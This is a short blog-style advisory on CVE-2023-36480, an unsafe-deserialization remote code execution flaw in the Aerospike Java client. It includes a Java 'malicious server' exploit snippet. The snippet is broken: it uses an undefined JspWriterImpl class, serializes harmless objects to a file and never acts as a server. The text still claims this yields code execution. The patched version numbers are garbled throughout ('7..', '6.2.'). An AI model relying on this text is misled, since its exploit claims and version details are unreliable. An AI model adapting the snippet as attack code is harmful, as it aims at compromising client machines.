CVE-2023-36480 - Remote Code Execution Vulnerability in Aerospike Java Client Prior to Versions 7.., 6.2., 5.2., and 4.5.

The Aerospike Java client is a widely-used application for communicating with an Aerospike server. Due to unsafe deserialization of Java objects in versions prior to 7.., 6.2., 5.2., and 4.5., the client is vulnerable to remote code execution by hackers who lure clients to interact with rogue servers.
In response to this threat, a patch has been released for the affected versions. This post will provide an overview of the vulnerability, showcase a code snippet to exploit it, and share links to original references.

Vulnerability Details

The unsafe deserialization vulnerability occurs when the Aerospike Java client processes messages containing Java objects without proper validation. Attackers who trick clients into communicating with a malicious server can craft objects in server responses that, once deserialized by the client, enable the execution of arbitrary code. This may lead to the hacker gaining control of the client machine.

The patch introduced in versions 7.., 6.2., 5.2., and 4.5. resolves this issue by implementing appropriate validation techniques before deserializing Java objects.

_Affected Systems:_ Aerospike Java client versions prior to 7.., 6.2., 5.2., and 4.5.

Exploit Example

Here's an example of a malicious server crafting a Java object to exploit the Aerospike Java client's deserialization vulnerability:

import java.io.*;
import java.rmi.server.UID;
import javax.servlet.jsp.JspWriter;

public class MaliciousServer
{
    public static void main(String[] args) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exploit.obj"));

        UID uid = new UID();
        JspWriterImpl jspWriterImpl = new JspWriterImpl();

        oos.writeObject(uid);
        oos.writeObject(jspWriterImpl);
        oos.close();
        System.out.println("Exploit object created and saved to 'exploit.obj'");
    }
}

When a vulnerable Aerospike Java client interacts with this server, it will deserialize the malicious object, leading to remote code execution.

Mitigation

To protect against this vulnerability, it's essential to upgrade Aerospike Java client to versions 7.., 6.2., 5.2., or 4.5., which include the necessary patch. Additionally, always ensure you're communicating with legitimate servers and exercise caution when interacting with unknown servers.

Original References

The following resources provide more information on the overall vulnerability findings, including technical explanations, exploit details, and patch release notes:

1. Aerospike Security Advisories
2. CVE-2023-36480: Official Listing on the CVE Program
3. Aerospike Java Client Release Notes

Conclusion

The CVE-2023-36480 vulnerability is a critical threat to Aerospike Java client users running versions prior to 7.., 6.2., 5.2., and 4.5.. By understanding the potential risks, reviewing the available resources, and applying the appropriate patch, you can protect your environment from cybercriminals looking to exploit this dangerous weakness.

Timeline

Published on: 08/04/2023 15:15:00 UTC
Last modified on: 08/09/2023 17:36:00 UTC